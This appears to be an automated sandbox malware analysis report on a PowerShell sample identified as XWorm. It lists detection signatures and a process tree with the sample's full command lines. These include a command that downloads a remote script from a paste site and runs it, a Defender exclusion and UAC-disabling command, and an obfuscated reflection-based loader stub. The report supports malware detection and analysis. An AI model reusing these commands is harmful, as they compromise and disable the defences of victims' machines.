Windows
Analysis Report
script.ps1
Overview
General Information
Detection
XWorm
Score: | 100 |
Range: | 0 - 100 |
Confidence: | 100% |
Signatures
Antivirus detection for dropped file
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
System process connects to network (likely due to code injection or exploit)
Yara detected Powershell download and execute
Yara detected XWorm
.NET source code contains method to dynamically call methods (often used by packers)
.NET source code contains potential unpacker
.NET source code contains process injector
.NET source code references suspicious native API functions
Adds a directory exclusion to Windows Defender
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Connects to a pastebin service (likely for C&C)
Contains functionality to compare user and computer (likely to detect sandboxes)
Contains functionality to inject code into remote processes
Creates a thread in another existing process (thread injection)
Found Tor onion address
Found suspicious powershell code related to unpacking or dynamic code loading
Hooks files or directories query functions (used to hide files and directories)
Hooks processes query functions (used to hide processes)
Hooks registry keys query functions (used to hide registry keys)
Injects a PE file into a foreign processes
Injects code into the Windows Explorer (explorer.exe)
Joe Sandbox ML detected suspicious sample
Loading BitLocker PowerShell Module
Modifies the context of a thread in another process (thread injection)
Modifies the prolog of user mode functions (user mode inline hooks)
Obfuscated command line found
Performs DNS queries to domains with low reputation
Powershell drops PE file
Sample uses string decryption to hide its real strings
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential WinAPI Calls Via CommandLine
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Suspicious powershell command line found
Writes to foreign memory regions
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to query CPU information (cpuid)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates COM task schedule object (often to register a task for autostart)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Deletes files inside the Windows folder
Detected non-DNS traffic on DNS port
Detected potential crypto function
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found evasive API chain (may stop execution after accessing registry keys)
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains executable resources (Code or Archives)
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Powershell Defender Exclusion
Sigma detected: Uncommon Svchost Parent Process
Stores large binary data to the registry
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
powershell.exe (PID: 7616 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -noLogo -E xecutionPo licy unres tricted -f ile "C:\Us ers\user\D esktop\scr ipt.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) conhost.exe (PID: 7628 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) powershell.exe (PID: 7836 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "irm https ://paste.e e/d/linhgh 7d | iex" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) powershell.exe (PID: 8096 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Execution Policy Byp ass Add-Mp Preference -Exclusio nPath $Env :ProgramDa ta, $Env:T emp, $Env: HomeDrive; Set-Item Property - Path "HKLM :\SOFTWARE \Microsoft \Windows\C urrentVers ion\Polici es\System" -Name "Co nsentPromp tBehaviorA dmin" -Val ue 0 -Type DWord MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) conhost.exe (PID: 8104 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) WmiPrvSE.exe (PID: 7276 cmdline:
C:\Windows \system32\ wbem\wmipr vse.exe -s ecured -Em bedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51) j3owB.exe (PID: 7468 cmdline:
"C:\Progra mData\j3ow B.exe" MD5: 02A326274F6FBC2C10002E6989F4571F) NwhPywLp.exe (PID: 7496 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\NwhPyw Lp.exe" MD5: F6515DF66DEBD922C1D9699648BC06BD) SVrB5SO0.exe (PID: 7512 cmdline:
"C:\Progra mData\SVrB 5SO0.exe" MD5: 0D59300D31F0B41CC02411DEA2C43C0F) cZp98.exe (PID: 8180 cmdline:
"C:\Progra mData\cZp9 8.exe" MD5: B20E29F2B88234CDA8B95B43A4FEC8AA)
notepad.exe (PID: 7772 cmdline:
"C:\Window s\System32 \notepad.e xe" "C:\Us ers\user\D esktop\scr ipt.ps1" MD5: 27F71B12CB585541885A31BE22F61C83)
svchost.exe (PID: 7996 cmdline:
C:\Windows \System32\ svchost.ex e -k netsv cs -p -s B ITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
powershell.exe (PID: 8164 cmdline:
C:\Windows \System32\ WindowsPow erShell\v1 .0\powersh ell.EXE "f unction Lo cal:KHaJDx umDNco{Par am([Output Type([Type ])][Parame ter(Positi on=0)][Typ e[]]$Irkch jYcpcIHrG, [Parameter (Position= 1)][Type]$ FKynkUloVt )$wzaPjwDX VrR=[AppDo main]::Cur rentDomain .DefineDyn amicAssemb ly((New-Ob ject Refle ction.Asse mblyName(' '+'R'+''+[ Char](101) +''+[Char] (102)+'l'+ 'e'+''+[Ch ar](99)+'t '+'e'+''+' d'+''+[Cha r](68)+''+ 'e'+''+'l' +''+[Char] (101)+''+[ Char](103) +''+'a'+'' +'t'+''+[C har](101)+ '')),[Refl ection.Emi t.Assembly BuilderAcc ess]::Run) .DefineDyn amicModule (''+[Char] (73)+''+[C har](110)+ 'M'+'e'+'' +[Char](10 9)+''+[Cha r](111)+'r '+[Char](1 21)+''+[Ch ar](77)+'o '+[Char](1 00)+''+[Ch ar](117)+' '+[Char](1 08)+''+[Ch ar](101)+' ',$False). DefineType (''+[Char] (77)+''+[C har](121)+ ''+'D'+''+ [Char](101 )+'le'+'g' +''+[Char] (97)+''+[C har](116)+ ''+[Char]( 101)+''+[C har](84)+' '+[Char](1 21)+''+'p' +'e','Cl'+ [Char](97) +'ss'+','+ ''+'P'+''+ [Char](117 )+''+'b'+' '+[Char](1 08)+''+[Ch ar](105)+' '+[Char](9 9)+''+[Cha r](44)+''+ [Char](83) +'ea'+[Cha r](108)+'' +[Char](10 1)+''+'d'+ ','+[Char] (65)+''+[C har](110)+ ''+[Char]( 115)+''+[C har](105)+ ''+'C'+'l' +[Char](97 )+''+'s'+' '+'s'+','+ [Char](65) +''+'u'+'t '+[Char](1 11)+''+'C' +''+[Char] (108)+''+[ Char](97)+ ''+[Char]( 115)+''+[C har](115)+ '',[Multic astDelegat e]);$wzaPj wDXVrR.Def ineConstru ctor('R'+' T'+''+'S'+ ''+[Char]( 112)+''+[C har](101)+ 'c'+'i'+'a '+'l'+''+[ Char](78)+ 'a'+[Char] (109)+'e'+ ','+''+'H' +''+[Char] (105)+''+' d'+''+[Cha r](101)+'' +[Char](66 )+''+'y'+' '+[Char](8 3)+''+[Cha r](105)+'g '+','+'P'+ 'u'+''+[Ch ar](98)+'' +[Char](10 8)+'i'+[Ch ar](99)+'' ,[Reflecti on.Calling Convention s]::Standa rd,$Irkchj YcpcIHrG). SetImpleme ntationFla gs(''+[Cha r](82)+''+ 'u'+''+[Ch ar](110)+' '+[Char](1 16)+''+[Ch ar](105)+' '+'m'+''+[ Char](101) +''+[Char] (44)+''+[C har](77)+' a'+'n'+''+ [Char](97) +''+[Char] (103)+''+' e'+'d');$w zaPjwDXVrR .DefineMet hod(''+'I' +''+[Char] (110)+''+[ Char](118) +''+'o'+'k '+[Char](1 01)+'',''+ 'P'+''+[Ch ar](117)+' '+[Char](9 8)+''+[Cha r](108)+'i '+'c'+''+[ Char](44)+ 'H'+[Char] (105)+''+[ Char](100) +''+[Char] (101)+'By' +[Char](83 )+'i'+'g'+ ''+','+''+ 'N'+''+[Ch ar](101)+' '+'w'+''+[ Char](83)+ ''+'l'+'o' +[Char](11 6)+''+[Cha r](44)+''+ 'V'+'i'+'r '+''+'t'+' u'+[Char]( 97)+''+'l' +'',$FKynk UloVt,$Irk chjYcpcIHr G).SetImpl ementation Flags(''+' R'+''+'u'+ ''+[Char]( 110)+''+'t '+''+'i'+' '+'m'+''+[ Char](101) +''+[Char] (44)+''+'M '+''+'a'+' '+'n'+''+[ Char](97)+ ''+[Char]( 103)+''+[C har](101)+ 'd');Write -Output $w zaPjwDXVrR .CreateTyp e();}$ZLkQ xZedqjGHd= ([AppDomai n]::Curren tDomain.Ge tAssemblie s()|Where- Object{$_. GlobalAsse mblyCache